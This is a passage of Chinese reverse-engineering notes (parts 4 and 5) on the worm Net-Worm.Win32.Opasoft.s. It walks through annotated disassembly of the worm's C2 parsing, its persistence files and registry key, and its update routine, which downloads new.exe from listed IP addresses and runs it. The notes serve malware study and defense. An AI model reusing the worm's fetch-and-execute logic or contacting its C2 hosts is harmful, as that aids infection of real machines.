CODE:0040218E           test   eax, 7
CODE:00402193           jnz   loc_40228A     ; 退出线程
CODE:00402199           shr   eax, 3       ; Hex_C_Value的字节数除以8
CODE:0040219C           jz     loc_40228A     ; 退出线程
CODE:004021A2           mov   [ebp+dwCount], eax
CODE:004021A8           mov   ds:byte_406285, 0
CODE:004021AF           push   offset aSrv32res ; lpFileName
CODE:004021B4           call   DeleteFileA
CODE:004021B9           mov   [ebp+var_828], 0
CODE:004021C3           mov   [ebp+var_830], 1
CODE:004021CD

上面分别用参数"K","V","W","D","T"与lpReadUrlBuffer各调用了一次sub_401C01,
用参数"P","C"与lpReadUrlBuffer各调用了一次sub_401BA9,还记得上次从
http://63.246.135.48/r.php?t=0读出的内容吗?如下:

lpReadUrlBuffer[] =
arg_lpszReadBuf[] =
"t=8&p=1525FFFFFFFFFFFF&c=D0A58993CE0F2086053F57E8785F90C61B1F8E
20DB856D9554CC789EC0F28D7162D43FC75E50069F8793C546B88A9C4BD80D2
9241357C766626A77D951CD57CFF9794E84507F478A47EC525DAA963D70172A
D7CCC3348F3B06B598EA9A286187733F576EB82A6D43CACF4F56746595C01A6
005215EA0E0BE6D9896C25B5A9252F1949A0E964CC86EE6EA5B00F15AE9B386
15CC7594BD85B3318FDC8D905D4D5ED93AD43F211A008F6C0D0FDF702F21BA7
3349F58AA2F78F7FE0750D8C0D019846F4B63B1D5FD699F62A0D5471FC9A69B
643B20BE7A819679A89868C58723FDA8C0B503329C6B345C3D35FFA9DABC868
0BE5A90BBB8D9EE4C963619F1949EC6F8DF24E6DFC6E38CB7FB024D59E80358
08C6B054DEA68B0F8F05302C027DBC14A149C72F9F907AB3D909EDEF3085C9B
57A36D64DA14C23071AB5715BDEDDC6195D558D1310842BB33D180FF103EFF9
CF931D58E0BE5000095351DCE2D48000EAF73E84D1DD92A3B0C0CFA73179613
628E9A63E89DAB3A3C64D3573141C2D17A55064F988361669A4D0B9DAD6886E
5F32BFB2C40A7DFC8BF1457A512475D1E32B3799AF025547444C19CCE8B62BD
26EA0AF2350E421DB48EDAE22CF696946928788DD05FE044848E3FD61792192
DD6D2424DF48BC501E8200EE6AFEFF50C3B5488BAD36892C2763BCC6E7AB30C
F789426A745FD65B0C8ECE543EA0D6606D2220DEBE1D1E3D42C97FE5216BE06
A7B07DB2145491990A8AD977055A7540049AB776445ABC1F83FFF41247CD8AE
C388ECDBF562A1C9B2F850992A5AE4179915E63811D9BD958FA135E69F16B73
4E9FD4679FED9464E6EA753AFB5BB411F3AF28A7347F7B49C5A05C776AE1F9F
0FBDA29252FBF21F3F73CF888B599F0E6927B48725FA7C6A9871178EEAF6E42
BF0694A62838BDB2240DAE97F654A37F14872675A34CAA068A552AB3F53BCBB
4DD890E4788120AA3319EBE6BA4E98612EB93252D794C6BECB3464F48242F44
3B3EF0E077C15961E5406B821A626F755483A3FFA7A5E451E4CE96E149A0FBD
D&v=FEE9&d=0&w=&k=124F5"

这里的"K","V","W","D","T","P","C"其实对应的就是lpReadUrlBuffer中
的"k=", "v=", "w=", "d=", "t=", "p=", "c=",而函数sub_401C01和
sub_401BA9作用就是取"="号后面的值并以十六进制存储到内存中(如:k=124F5
调用sub_401C01时把124F5转换成十六进制0x124F5存到Hex_K_Value),最后
内存中的数据如下:


00000000   08 00 00 00 01 00 00 00 C5 B7 03 00 01 00 00 00   ........欧......
00000010   38 4A F0 A0 30 00 00 00 15 25 FF FF FF FF FF FF   8J馉0....%
00000020   5D 00 00 00 D0 A5 89 93 CE 0F 20 86 05 3F 57 E8   ]...啸墦? ??W?
00000030   78 5F 90 C6 1B 1F 8E 20 DB 85 6D 95 54 CC 78 9E   x_惼..?蹍m昑蘹?
00000040   C0 F2 8D 71 62 D4 3F C7 5E 50 06 9F 87 93 C5 46   莉峲b?荿P.焽撆F
00000050   B8 8A 9C 4B D8 0D 29 24 13 57 C7 66 62 6A 77 D9   笂淜?)$.W莊bjw?
00000060   51 CD 57 CF F9 79 4E 84 50 7F 47 8A 47 EC 52 5D   Q蚖嚣yN凱G奊霷]
00000070   AA 96 3D 70 17 2A D7 CC C3 34 8F 3B 06 B5 98 EA   獤=p.*滋??.禈?
00000080   9A 28 61 87 73 3F 57 6E B8 2A 6D 43 CA CF 4F 56   ?a噑?Wn?mC氏OV
00000090   74 65 95 C0 1A 60 05 21 5E A0 E0 BE 6D 98 96 C2   te暲.`.!^犩緈槚?
000000A0   5B 5A 92 52 F1 94 9A 0E 96 4C C8 6E E6 EA 5B 00   [Z扲駭?朙萵骊[.
000000B0   F1 5A E9 B3 86 15 CC 75 94 BD 85 B3 31 8F DC 8D   馴槌?蘵斀叧1徿?
000000C0   90 5D 4D 5E D9 3A D4 3F 21 1A 00 8F 6C 0D 0F DF   怾M^??!..弆..?
000000D0   70 2F 21 BA 73 34 9F 58 AA 2F 78 F7 FE 07 50 D8   p/!簊4焁?x齄.P?
000000E0   C0 D0 19 84 6F 4B 63 B1 D5 FD 69 9F 62 A0 D5 47   佬.刼Kc闭齣焍犝G
000000F0   1F C9 A6 9B 64 3B 20 BE 7A 81 96 79 A8 98 68 C5   .搔沝; 緕仏yh?
00000100   87 23 FD A8 C0 B5 03 32 9C 6B 34 5C 3D 35 FF A9   ?赖.2渒4/=5?
00000110   DA BC 86 80 BE 5A 90 BB B8 D9 EE 4C 96 36 19 F1   诩唨綵惢纲頛?.?
00000120   94 9E C6 F8 DF 24 E6 DF C6 E3 8C B7 FB 02 4D 59   敒气?孢沏尫?MY
00000130   E8 03 58 08 C6 B0 54 DE A6 8B 0F 8F 05 30 2C 02   ?X.瓢T蕈??0,.
00000140   7D BC 14 A1 49 C7 2F 9F 90 7A B3 D9 09 ED EF 30   }??煇z迟.盹0
00000150   85 C9 B5 7A 36 D6 4D A1 4C 23 07 1A B5 71 5B DE   吷祕6諱#..祋[?
00000160   DD C6 19 5D 55 8D 13 10 84 2B B3 3D 18 0F F1 03   萜.]U?.??..?
00000170   EF F9 CF 93 1D 58 E0 BE 50 00 09 53 51 DC E2 D4   稆蠐.X嗑P..SQ茆?
00000180   80 00 EA F7 3E 84 D1 DD 92 A3 B0 C0 CF A7 31 79   €.犄>勓輶0老?y
00000190   61 36 28 E9 A6 3E 89 DA B3 A3 C6 4D 35 73 14 1C   a6(棣>壼常芃5s..
000001A0   2D 17 A5 50 64 F9 88 36 16 69 A4 D0 B9 DA D6 88   -.d鶊6.iば冠謭
000001B0   6E 5F 32 BF B2 C4 0A 7D FC 8B F1 45 7A 51 24 75   n_2坎?}鼖馝zQ$u
000001C0   D1 E3 2B 37 99 AF 02 55 47 44 4C 19 CC E8 B6 2B   雁+7櫙.UGDL.惕?
000001D0   D2 6E A0 AF 23 50 E4 21 DB 48 ED AE 22 CF 69 69   襫牤#P?跦懋"蟟i
000001E0   46 92 87 88 DD 05 FE 04 48 48 E3 FD 61 79 21 92   F拠堓.?HH泯ay!?
000001F0   DD 6D 24 24 DF 48 BC 50 1E 82 00 EE 6A FE FF 50   輒$$逪糚.?頹?P
00000200   C3 B5 48 8B AD 36 89 2C 27 63 BC C6 E7 AB 30 CF   玫H嫮6?'c计绔0?
00000210   78 94 26 A7 45 FD 65 B0 C8 EC E5 43 EA 0D 66 06   x?齟叭戾C?f.
00000220   D2 22 0D EB E1 D1 E3 D4 2C 97 FE 52 16 BE 06 A7   ?.脶雁?楟R.??
00000230   B0 7D B2 14 54 91 99 0A 8A D9 77 05 5A 75 40 04   皚?T憴.娰w.Zu@.
00000240   9A B7 76 44 5A BC 1F 83 FF F4 12 47 CD 8A EC 38   毞vDZ???G蛫?
00000250   8E CD BF 56 2A 1C 9B 2F 85 09 92 A5 AE 41 79 91   幫縑*.??挜瓵y?
00000260   5E 63 81 1D 9B D9 58 FA 13 5E 69 F1 6B 73 4E 9F   ^c?涃X?^i駅sN?
00000270   D4 67 9F ED 94 64 E6 EA 75 3A FB 5B B4 11 F3 AF   詆燀攄骊u:鸞?蟑
00000280   28 A7 34 7F 7B 49 C5 A0 5C 77 6A E1 F9 F0 FB DA   (?{I艩/wj狴瘥?
00000290   29 25 2F BF 21 F3 F7 3C F8 88 B5 99 F0 E6 92 7B   )%/?篦<鴪禉疰抺
000002A0   48 72 5F A7 C6 A9 87 11 78 EE AF 6E 42 BF 06 94   Hr_﹪.x畀nB??
000002B0   A6 28 38 BD B2 24 0D AE 97 F6 54 A3 7F 14 87 26   ?8讲$.畻鯰?.?
000002C0   75 A3 4C AA 06 8A 55 2A B3 F5 3B CB B4 DD 89 0E   u?奤*初;舜輭.
000002D0   47 88 12 0A A3 31 9E BE 6B A4 E9 86 12 EB 93 25   G?.?灳kら?霌%
000002E0   2D 79 4C 6B EC B3 46 4F 48 24 2F 44 3B 3E F0 E0   -yLk斐FOH$/D;>疣
000002F0   77 C1 59 61 E5 40 6B 82 1A 62 6F 75 54 83 A3 FF   w罽a錊k?bouT儯
00000300   A7 A5 E4 51 E4 CE 96 E1 49 A0 FB DD           Д銺湮栣I狖?

第一个DWORD值00000008就是t=8中的8,第二个DWORD值就是var_830还不知道作甚么用的;
第三个DWORD值0003B7C5是k=后面的值(由于每次请求返回的k值不同所以这里已经不是124F5)
偏移18处的值对应p的值,偏移24到结尾对应C的值,偏移20处的DWORD值等于C值所占内存的字节
数除以8。

这段数据的结构表示如下:

struct tagSrv32tskFile
{
     DWORD dwTValue;            //ebp-834h
     DWORD unknown1 = 1;      //ebp-830h
     DWORD dwKValue;            //ebp-82Ch
     DWORD unknown2 = 0;      //ebp-828h
     DWORD unknown3;            //ebp-824h
     DWORD unknown4;            //ebp-820h
     INT64 PValue;            //ebp-81Ch
     DWORD dwCount;            //ebp-814
     BYTE CValue[744]      //ebp-810
};

CODE:004021CD loc_4021CD:
CODE:004021CD           push   0           ; hTemplateFile
CODE:004021CF           push   80000002h     ; dwFlagsAndAttributes
CODE:004021D4           push   4           ; OPEN_ALWAYS,如果文件不存在,创建
CODE:004021D6           push   0           ; lpSecurityAttributes
CODE:004021D8           push   3           ; dwShareMode
CODE:004021DA           push   40000000h     ; dwDesiredAccess
CODE:004021DF           push   offset aSrv32tsk ; lpFileName
CODE:004021E4           call   CreateFileA   ; 创建文件srv32tsk
CODE:004021E9           cmp   eax, 0FFFFFFFFh
CODE:004021EC           jz     short loc_4021CD ; 跳转直到文件srv32tsk创建成功
CODE:004021EE           jmp   short loc_402217

创建文件srv32tsk后跳转到loc_402217:

CODE:00402217 loc_402217:
CODE:00402217           lea   edx, [ebp+lpBufferOfWrite]
CODE:0040221D           push   edx
CODE:0040221E           push   eax
CODE:0040221F           call   sub_401531     ; 把lpBufferOfWrite的内容写到文件srv32tsk
CODE:00402224
CODE:00402224 loc_402224:                   ; CODE XREF: StartAddress+45Bj
CODE:00402224           call   sub_401C49     ; 写注册表 srv32
CODE:00402229           cmp   ds:Data, 0
CODE:00402230           jz     short loc_402239
CODE:00402232           call   sub_4030EB      <<<<<这里创建了两个线程,做个标记
CODE:00402237           jmp   short loc_40223E


在函数sub_401531里把lpBufferOfWrite的内容(就是上面生成的那堆数据)写到文件srv32tsk,
sub_401C49会写注册表HKLM/SOFTWARE/Microsoft/Windows/CurrentVersion/SRV32下
D = Hex_D_Value(二进制值,第一次到这时为00),在sub_401C01函数里会修改ds:Data的值。
在sub_4030EB里会创建两个线程(sub_403045和sub_402EEE),有很多网络的动作,不过执行到
00402229这里时ds:Data的值为0,jz short loc_402239会跳转到:


CODE:00402239 loc_402239:
CODE:00402239           call   sub_4031A3     ; closesocket
CODE:00402239                           ; WSACleanup
CODE:0040223E
CODE:0040223E loc_40223E:
CODE:0040223E           mov   eax, [ebp+var_10]
CODE:00402241           imul   eax, 8
CODE:00402244           push   eax
CODE:00402245           push   offset aSrv32res ; "Srv32Res"
CODE:0040224A           call   sub_401AAE
CODE:0040224F           push   offset aSrv32res ; "Srv32Res"
CODE:00402254           call   icy_GetFileSize ; 这个函数已经被我重命名了
CODE:00402259           cmp   eax, 8
CODE:0040225C           jge   loc_401F9B
CODE:00402262           jmp   short loc_40228F

在sub_4031A3里调用了closesocket,WSACleanup关闭了socket;sub_401AAE和icy_GetFileSize
访问打开文件srv32res(不存在)失败,icy_GetFileSize返回-1所以jge loc_401F9B跳转实现

跳转到:

CODE:0040228F loc_40228F:
CODE:0040228F           mov   eax, [ebp+pBufOfReadFile]
CODE:00402292           movzx   edx, word ptr [eax]
CODE:00402295           cmp   edx, [ebp+Hex_V_Value]
CODE:0040229B           jz     loc_4023DD
CODE:004022A1           mov   edi, 3

上一篇中pBufOfReadFile内容如下:

pBufOfReadFile[] =
{
     0xE8,0xFE,0x0C,0x00,
     0xF0,0x06,0x1E,0x00,
     0x42,0xF6,0x29,0xC9,
     0x3F,0xF7,0x87,0x30,
     0x3F,0xF7,0x87,0x30,
     0x40,0xB1,0xE2,0xC0,
     0x00,0x00,0x00,0x00,
     0x00,0x00,0x00,0x00
}

由于Hex_V_Value = 0xFEE9,所以jz loc_4023DD未跳转

CODE:004022A6 loc_4022A6:
CODE:004022A6           mov   esi, [ebp+pBufOfReadFile]
CODE:004022A9           inc   edi
CODE:004022AA           cmp   edi, [ebp+var_C]
CODE:004022AD           jnb   loc_4023DD
CODE:004022B3           mov   eax, [esi+edi*4] ;IP:0x3087F73F = 3F.F7.87.30=63.247.135.48
CODE:004022B6           test   eax, eax
CODE:004022B8           jz     loc_4023DD
CODE:004022BE           push   eax         ; in
CODE:004022BF           call   inet_ntoa     ; 63.247.135.48
CODE:004022C4           lea   edx, [ebp+pszUrl]
CODE:004022CA           push   eax
CODE:004022CB           push   offset aHttpSL ; "http://%s/l"
CODE:004022D0           push   edx
CODE:004022D1           call   wsprintfA     ; psUrl = http://63.247.135.48/l
CODE:004022D6           add   esp, 0Ch
CODE:004022D9           lea   eax, [ebp+NumberOfBytesWritten]
CODE:004022DF           lea   edx, [ebp+pszUrl]
CODE:004022E5           lea   eax, [ebp+NumberOfBytesWritten]
CODE:004022EB           push   eax
CODE:004022EC           push   [ebp+lpReadUrlBuffer]
CODE:004022F2           push   edx
CODE:004022F3           push   [ebp+hInternet]
CODE:004022F9           call   icy_ReadUrlFile
CODE:004022FE           cmp   eax, 0C8h
CODE:00402303           jnz   short loc_4022A6 ; 读URL失败,重来


读http://63.247.135.48/l 的内容到lpReadUrlBuffer

lpReadUrlBuffer[] =
"E4 4B A7 99 B2 D2 46 94 B2 BA F0 67 39 74 88 EE
BE D0 9F 7E 46 58 52 5F 11 65 A7 DE A4 4F DA 10";

CODE:00402305           cmp   [ebp+NumberOfBytesWritten], 20h ; 比较读出的内容是否是32个字节
CODE:0040230C           jb     short loc_4022A6 ; 读URL失败,重来
CODE:0040230E           push   [ebp+NumberOfBytesWritten] ; uBytes
CODE:00402314           push   0           ; uFlags
CODE:00402316           call   LocalAlloc
CODE:0040231B           mov   [ebp+hMem], eax
CODE:0040231E           push   [ebp+NumberOfBytesWritten]
CODE:00402324           push   eax
CODE:00402325           push   [ebp+lpReadUrlBuffer]
CODE:0040232B           call   icy_CopyBufToAllocMem
CODE:00402330           push   [ebp+NumberOfBytesWritten]
CODE:00402336           push   [ebp+hMem]
CODE:00402339           call   icy_ChangeAllocMem
CODE:0040233E           mov   eax, [ebp+hMem]
CODE:00402341           cmp   dword ptr [eax+8], 0C929F642h
CODE:00402348           jz     short loc_402357
CODE:0040234A           push   [ebp+hMem]     ; hMem
CODE:0040234D           call   LocalFree
CODE:00402352           jmp   loc_4022A6

比较lpReadUrlBuffer的内容是否是32个字节,然后分配一块内存调用icy_CopyBufToAllocMem
把lpReadurlBuffer拷贝一份到新分配的内存处,调用icy_ChangeAllocMem对这块内容做了一些
转换


CODE:00402357 ; ///////////////////////////////////////////////////////////////////////////
CODE:00402357
CODE:00402357 loc_402357:                   ; CODE XREF: StartAddress+598j
CODE:00402357           push   [ebp+pBufOfReadFile] ; hMem
CODE:0040235A           call   LocalFree
CODE:0040235F           mov   eax, [ebp+hMem]
CODE:00402362           mov   [ebp+pBufOfReadFile], eax
CODE:00402365           mov   edi, eax
CODE:00402367           mov   ecx, [ebp+NumberOfBytesWritten]
CODE:0040236D           shr   ecx, 2
CODE:00402370           xor   eax, eax
CODE:00402372           cld
CODE:00402373           repne scasd
CODE:00402375           sub   edi, [ebp+pBufOfReadFile]
CODE:00402378           shr   edi, 2
CODE:0040237B           dec   edi
CODE:0040237C           mov   [ebp+var_C], edi
CODE:0040237F           push   22h         ; dwFileAttributes
CODE:00402381           push   offset aHstlst ; lpFileName
CODE:00402386           call   SetFileAttributesA
CODE:0040238B           push   0           ; hTemplateFile
CODE:0040238D           push   2           ; dwFlagsAndAttributes
CODE:0040238F           push   2           ; dwCreationDisposition
CODE:00402391           push   0           ; lpSecurityAttributes
CODE:00402393           push   0           ; dwShareMode
CODE:00402395           push   40000000h     ; dwDesiredAccess
CODE:0040239A           push   offset aHstlst ; lpFileName
CODE:0040239F           call   CreateFileA
CODE:004023A4           cmp   eax, 0FFFFFFFFh
CODE:004023A7           jz     short loc_4023DD
CODE:004023A9           mov   edi, eax
CODE:004023AB           lea   edx, [ebp+NumberOfBytesWritten]
CODE:004023B1           push   0           ; lpOverlapped
CODE:004023B3           push   edx         ; lpNumberOfBytesWritten
CODE:004023B4           push   [ebp+NumberOfBytesWritten] ; nNumberOfBytesToWrite
CODE:004023BA           push   [ebp+lpReadUrlBuffer] ; lpBuffer
CODE:004023C0           push   edi         ; hFile
CODE:004023C1           call   WriteFile
CODE:004023C6           push   edi         ; hObject
CODE:004023C7           call   CloseHandle
CODE:004023CC           push   23h         ; dwFileAttributes
CODE:004023CE           push   offset aHstlst ; lpFileName
CODE:004023D3           call   SetFileAttributesA
CODE:004023D8           call   icy_CopyFile_Hstlst_Hlb


在windows目录下创建一个文件hstlst,并把lpReadUrlBuffer的内容写到此文件中,如果
Hstlst的不小于32个字节,函数icy_CopyFile_Hstlst_Hlb把hstlst复制一份到hlb,
如果Hstlst小于32个字节,icy_CopyFile_Hstlst_Hlb把hlb复制一份到hstlst(这里就是
确保hstlst的内容不会被破坏)。


CODE:004023DD loc_4023DD:                   ; CODE XREF: StartAddress+4EBj
CODE:004023DD                           ; StartAddress+4FDj ...
CODE:004023DD           cmp   [ebp+Hex_W_Value], 0Ch
CODE:004023E4           jz     loc_402498
CODE:004023EA           mov   edi, 3
CODE:004023EF
CODE:004023EF loc_4023EF:                   ; CODE XREF: StartAddress+69Cj
CODE:004023EF           mov   esi, [ebp+pBufOfReadFile]
CODE:004023F2           inc   edi
CODE:004023F3           cmp   edi, [ebp+var_C]
CODE:004023F6           jnb   loc_402498     ; 退出线程
CODE:004023FC           mov   eax, [esi+edi*4] ; 69.60.111.123
CODE:004023FF           test   eax, eax
CODE:00402401           jz     loc_402498
CODE:00402407           push   eax         ; in
CODE:00402408           call   inet_ntoa
CODE:0040240D           lea   edx, [ebp+pszUrl]
CODE:00402413           push   eax
CODE:00402414           push   offset aHttpSU ; "http://%s/u"
CODE:00402419           push   edx
CODE:0040241A           call   wsprintfA     ; http://69.60.111.123/u
CODE:0040241A                           ; http://63.247.135.48/u
CODE:0040241F           add   esp, 0Ch
CODE:00402422           lea   eax, [ebp+NumberOfBytesWritten]
CODE:00402428           lea   edx, [ebp+pszUrl]
CODE:0040242E           lea   eax, [ebp+NumberOfBytesWritten]
CODE:00402434           push   eax
CODE:00402435           push   [ebp+lpReadUrlBuffer]
CODE:0040243B           push   edx
CODE:0040243C           push   [ebp+hInternet]
CODE:00402442           call   icy_ReadUrlFile
CODE:00402447           cmp   eax, 0C8h
CODE:0040244C           jnz   short loc_4023EF ; ; 失败,跳转

这里由于访问http://69.60.111.123/u和http://63.247.135.48/u都失败了所以在
CODE:004023F6   jnb loc_402498 跳转实现会退出线程,如果上面icy_ReadUrlFile
成功则执行下面代码,把读出的内容写到new.exe中,如果写成功则调用icy_CreateNew_ExitOld_Proc
执行new.exe自己退出(这应该是更新功能吧,作者考虑的很周全啊!还记得第一篇用到了new.exe吗?)


CODE:0040244E           push   0           ; hTemplateFile
CODE:00402450           push   2           ; dwFlagsAndAttributes
CODE:00402452           push   4           ; dwCreationDisposition
CODE:00402454           push   0           ; lpSecurityAttributes
CODE:00402456           push   0           ; dwShareMode
CODE:00402458           push   40000000h     ; dwDesiredAccess
CODE:0040245D           push   offset aNew_exe ; lpFileName
CODE:00402462           call   CreateFileA
CODE:00402467           cmp   eax, 0FFFFFFFFh
CODE:0040246A           jz     short loc_402498 ; CreateFile失败退出线程
CODE:0040246C           mov   esi, eax
CODE:0040246E           lea   edx, [ebp+NumberOfBytesWritten]
CODE:00402474           push   0           ; lpOverlapped
CODE:00402476           push   edx         ; lpNumberOfBytesWritten
CODE:00402477           push   [ebp+NumberOfBytesWritten] ; nNumberOfBytesToWrite
CODE:0040247D           push   [ebp+lpReadUrlBuffer] ; lpBuffer
CODE:00402483           push   esi         ; hFile
CODE:00402484           call   WriteFile
CODE:00402489           test   eax, eax
CODE:0040248B           jz     short loc_402498 ; WriteFile失败退出线程
CODE:0040248D           push   esi         ; hObject
CODE:0040248E           call   CloseHandle
CODE:00402493           call   icy_CreateNew_ExitOld_Proc
CODE:00402498
CODE:00402498 loc_402498:                   ; CODE XREF: StartAddress+21Bj
CODE:00402498                           ; StartAddress+254j ...
CODE:00402498           push   [ebp+lpReadUrlBuffer] ; hMem
CODE:0040249E           call   LocalFree
CODE:004024A3           push   [ebp+hInternet]
CODE:004024A9           call   InternetCloseHandle
CODE:004024AE           mov   ds:ThreadId, 0
CODE:004024B8           leave
CODE:004024B9           retn   4
CODE:004024B9 StartAddress   endp


到这里这个线程已经退出了,下一篇又会返回到主线程,大家最好再看一下第1,2篇。
============

逆向分析笔记5

文件名称:srv32.exe
蠕虫名称:Net-Worm.Win32.Opasoft.s
工具:   IDA 4.5.1, SoftICE3.1



第3,4篇中我们一直在创建的那个线程(401DB0)里打转,跟着程序的思路走我们又回到
第2篇创建线程的位置:


CODE:004012C3 loc_4012C3:
CODE:004012C3           call   sub_40148D
CODE:004012C8
CODE:004012C8 loc_4012C8:
CODE:004012C8           call   sub_401575     ; 返回值1或0
CODE:004012CD           test   eax, eax     ; 如果打开文件srv32tsk出错,eax == 0
CODE:004012CF           jnz   short loc_4012E5
CODE:004012D1           call   sub_40148D     ;---->线程(401DB0)在这里创建
CODE:004012D6           push   0FFFFFFFFh     ; dwMilliseconds = INFINITE
CODE:004012D8           push   ds:hThreadHandle ; hHandle
CODE:004012DE           call   WaitForSingleObject ; 等待线程结束
CODE:004012E3           jmp   short loc_4012C8
CODE:004012E5 ; ///////////////////////////////////////////////////////////////////////////
CODE:004012E5
CODE:004012E5 loc_4012E5:
CODE:004012E5           push   offset dword_406597
CODE:004012EA           call   sub_403332
CODE:004012EF           add   esp, 4
CODE:004012F2           mov   ds:byte_406285, 1
CODE:004012F9           push   ds:dword_4065A7
CODE:004012FF           push   offset unk_4065AB
CODE:00401304           push   offset unk_40659F
CODE:00401309           call   sub_403431
CODE:0040130E           test   ds:byte_406285, 1
CODE:00401315           jz     short loc_4012A3
CODE:00401317           call   sub_40178E
CODE:0040131C           push   eax
CODE:0040131D           call   sub_401675
CODE:00401322           call   sub_401634
CODE:00401327           jmp   short loc_4012C3
CODE:00401329 ; ///////////////////////////////////////////////////////////////////////////
CODE:00401329
CODE:00401329 locret_401329:
CODE:00401329           leave
CODE:0040132A           retn
CODE:0040132A sub_40123E     endp


在主线程sub_40123E 中调用call sub_40148D创建了第3,4篇中介绍的线程,随后主线程
又调用WaitForSingleObject(hThreadhandle, INFINITE)等待创建的线程(401DB0)
结束,WaitForSingleObject返回后主线程回跳倒loc_4012C8:在sub_401575中对文件
srv32tsk进行了读写操作如下:

CODE:00401575 sub_401575     proc near
CODE:00401575
CODE:00401575 var_ReturnValue = dword ptr -4
CODE:00401575
CODE:00401575           enter   4, 0
CODE:00401579           push   esi
CODE:0040157A           mov   [ebp+var_ReturnValue], 0
CODE:00401581           push   offset dword_406587
CODE:00401586           call   icy_ReadFileSrv32tsk ; 读文件Srv32tsk的内容,存放到[406587]
CODE:0040158B           cmp   eax, 0FFFFFFFFh
CODE:0040158E           jz     short loc_4015E1 ; 打开文件srv32tsk失败则退出并返回0
CODE:00401590           mov   esi, eax
CODE:00401592           mov   [ebp+var_ReturnValue], 1
CODE:00401599           cmp   ds:dword_406593, 0 ; 从文件srv32tsk开始的第4个DWORD值
CODE:004015A0           jz     short loc_4015AA
CODE:004015A2           push   esi         ; hObject
CODE:004015A3           call   CloseHandle   ; 关闭文件
CODE:004015A8           jmp   short loc_4015E1 ; 退出
CODE:004015AA ; ///////////////////////////////////////////////////////////////////////////
CODE:004015AA
CODE:004015AA loc_4015AA:
CODE:004015AA           cmp   ds:dword_40658B, 0 ; 从文件开始的第2个DWORD值
CODE:004015B1           jz     short loc_4015D9
CODE:004015B3
CODE:004015B3 loc_4015B3:
CODE:004015B3           call   sub_40171C
CODE:004015B8           mov   ds:dword_406593, 1 ; 从文件srv32tsk开始的第4个DWORD值
CODE:004015C2           mov   ds:dword_40658B, 0 ; 从文件srv32tsk开始的第2个DWORD值
CODE:004015CC           push   offset dword_406587
CODE:004015D1           push   esi
CODE:004015D2           call   icy_WriteFileSrv32tsk ; 写文件srv32tsk
CODE:004015D7           jmp   short loc_4015E1
CODE:004015D9 ; ///////////////////////////////////////////////////////////////////////////
CODE:004015D9
CODE:004015D9 loc_4015D9:
CODE:004015D9           inc   ds:dword_40658F ; 从文件srv32tsk开始的第3个DWORD值
CODE:004015DF           jmp   short loc_4015B3
CODE:004015E1 ; ///////////////////////////////////////////////////////////////////////////
CODE:004015E1
CODE:004015E1 loc_4015E1:
CODE:004015E1           mov   eax, [ebp+var_ReturnValue]
CODE:004015E4           pop   esi
CODE:004015E5           leave
CODE:004015E6           retn
CODE:004015E6 sub_401575     endp

先调用icy_ReadFileSrv32tsk 读文件srv32tsk,上一篇从Internet得到的srv32tsk的
结构如下:
struct tagSrv32tskFile
{
    DWORD dwTValue;         //ebp-834h
    DWORD unknown1 = 1;     //ebp-830h
    DWORD dwKValue;         //ebp-82Ch
    DWORD unknown2 = 0;     //ebp-828h
    DWORD unknown3;         //ebp-824h
    DWORD unknown4;         //ebp-820h
    INT64 PValue;         //ebp-81Ch
    DWORD dwCount;         //ebp-814h
    BYTE CValue[744]     //ebp-810h
};

判断第4个DWORD值是否为0,0表示第一次操作srv32tsk文件,需要调用下面的一些函数对文件srv32tsk
的某些字段进行转换,1表示已经操作过srv32tsk,在sub_40171C中对dwKValue和存放srv32tsk内容的
缓冲区地址的值 进行RCL移位等转换操作后把结果存到srv32tsk的第5个DW值,把第6个DWORD值清0。

call   sub_40171C:

CODE:0040171C sub_40171C     proc near           ; CODE XREF: sub_401575+3Ep
CODE:0040171C           mov   eax, ds:dword_40658F ; dword_40658F:dwKValue
CODE:00401721           rcl   eax, 0Dh
CODE:00401724           rcl   edx, 1       ; edx为内存中srv32tsk的缓冲区地址
CODE:00401726           rcl   eax, 1
CODE:00401728           rcl   edx, 1
CODE:0040172A           rcl   eax, 1
CODE:0040172C           rcl   edx, 1
CODE:0040172E           rcl   eax, 1
CODE:00401730           rcl   edx, 1
CODE:00401732           rcl   eax, 1
CODE:00401734           rcl   edx, 4
CODE:00401737           rcl   eax, 1
CODE:00401739           rcl   edx, 1
CODE:0040173B           rcl   eax, 1
CODE:0040173D           rcl   edx, 3
CODE:00401740           rcl   eax, 1
CODE:00401742           rcl   edx, 1
CODE:00401744           rcl   eax, 1
CODE:00401746           rcl   edx, 1
CODE:00401748           rcl   eax, 1
CODE:0040174A           rcl   edx, 2
CODE:0040174D           rcl   eax, 1
CODE:0040174F           rcl   edx, 1
CODE:00401751           rcl   eax, 1
CODE:00401753           rcl   edx, 1
CODE:00401755           rcl   eax, 1
CODE:00401757           rcl   edx, 1
CODE:00401759           rcl   eax, 1
CODE:0040175B           rcl   edx, 1
CODE:0040175D           rcl   eax, 1
CODE:0040175F           rcl   edx, 1
CODE:00401761           rcl   eax, 1
CODE:00401763           rcl   edx, 1
CODE:00401765           rcl   eax, 1
CODE:00401767           rcl   edx, 2
CODE:0040176A           rcl   eax, 1
CODE:0040176C           rcl   edx, 1
CODE:0040176E           rcl   eax, 1
CODE:00401770           rcl   edx, 1
CODE:00401772           rcl   eax, 1
CODE:00401774           rcl   edx, 6
CODE:00401777           and   edx, 0F8CEFEE0h
CODE:0040177D           bswap   edx
CODE:0040177F           mov   ds:dword_406597, edx ; 文件srv32tsk的第5个DW值
CODE:00401785           xor   edx, edx
CODE:00401787           mov   ds:dword_40659B, edx ; 文件srv32tsk的第6个DW值
CODE:0040178D           retn
CODE:0040178D sub_40171C     endp

接下来icy_WriteFileSrv32tsk用更改后的缓冲区内容重写srv32tsk文件,随后sub_401575退出返回值1。

CODE:004012C8           call   sub_401575     ; 返回值1或0
CODE:004012CD           test   eax, eax     ; 如果打开文件srv32tsk出错,eax == 0
CODE:004012CF           jnz   short loc_4012E5

跳转实现,jmp到:



CODE:004012E5 ; ///////////////////////////////////////////////////////////////////////////
CODE:004012E5
CODE:004012E5 loc_4012E5:
CODE:004012E5           push   offset dword_406597 ; srv32tsk第5个DWORD值
CODE:004012EA           call   sub_403332
CODE:004012EF           add   esp, 4
CODE:004012F2           mov   ds:byte_406285, 1
CODE:004012F9           push   ds:dword_4065A7
CODE:004012FF           push   offset unk_4065AB
CODE:00401304           push   offset unk_40659F
CODE:00401309           call   sub_403431
CODE:0040130E           test   ds:byte_406285, 1
CODE:00401315           jz     short loc_4012A3
CODE:00401317           call   sub_40178E
CODE:0040131C           push   eax
CODE:0040131D           call   sub_401675
CODE:00401322           call   sub_401634
CODE:00401327           jmp   short loc_4012C3
CODE:00401329 ; ///////////////////////////////////////////////////////////////////////////
